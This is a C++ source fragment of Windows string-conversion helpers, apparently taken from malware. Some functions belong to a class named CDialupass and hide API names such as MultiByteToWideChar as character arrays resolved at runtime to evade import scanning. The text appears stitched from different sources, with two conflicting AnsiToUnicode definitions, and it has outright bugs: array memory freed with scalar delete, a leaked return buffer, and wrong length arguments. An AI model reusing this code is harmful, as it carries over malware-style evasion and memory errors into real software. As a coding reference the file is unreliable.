wchar_t* UTF8ToUnicode( const char* utf8String )
{
wchar_t* res = 0;
// тест на возможность преобразования
int resLen = (int)pMultiByteToWideChar( CP_UTF8, 0, utf8String, -1, 0, 0);
if( resLen == 0 ) return 0;
// выделяем память
res = (wchar_t*)WSTR::Alloc(resLen);
if( res == 0 ) return 0;
// преобразование
if( !pMultiByteToWideChar( CP_UTF8, 0, utf8String, -1, res, resLen ) )
{
WSTR::Free(res);
res = 0;
}
return res;
}
WCHAR *AnsiToUnicode( char *AnsiString, DWORD dwStrLen )
{
wchar_t* res = 0;
// тест на возможность преобразования
if( dwStrLen == 0 ) dwStrLen = -1;
int resLen = (int)pMultiByteToWideChar( CP_ACP, 0, AnsiString, dwStrLen, 0, 0);
if( resLen == 0 ) return 0;
// выделяем память
res = (wchar_t*)MemAlloc(resLen);
if( res == 0 ) return 0;
// преобразование
if( !pMultiByteToWideChar( CP_ACP, 0, AnsiString, -1, res, resLen ) )
{
MemFree(res);
res = 0;
}
return res;
}
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'};
lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01);
lsa->Length=plstrlenA(AValue)*2;
lsa->MaximumLength=lsa->Length+2;
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'};
MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19);
pMultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,plstrlenA(AValue),lsa->Buffer,lsa->MaximumLength);
}
WCHAR *AnsiToUnicode( char *AnsiString, DWORD dwStrLen )
{
if ( !AnsiString )
{
return NULL;
}
WCHAR *pszwString = (WCHAR *)MemAlloc( dwStrLen + 1 );
if ( pszwString == NULL )
{
return NULL;
}
pMultiByteToWideChar( CP_ACP, 0, AnsiString, dwStrLen, (LPWSTR)pszwString, dwStrLen + 1 );
return pszwString;
}
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
{
char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'};
lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01);
if (UTF8Str == NULL || plstrlenA(UTF8Str) == 0)
return "";
int nStrLen = plstrlenA(UTF8Str) * 2;
char *lpWideCharStr = new char[nStrLen];
char *lpMultiByteStr = new char[nStrLen];
char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'};
MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19);
pMultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
char DYrEN32[] = {'W','i','d','e','C','h','a','r','T','o','M','u','l','t','i','B','y','t','e','\0'};
WideCharToMultiByteT pWideCharToMultiByte=(WideCharToMultiByteT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN32);
pWideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
delete lpWideCharStr;
return lpMultiByteStr;
}
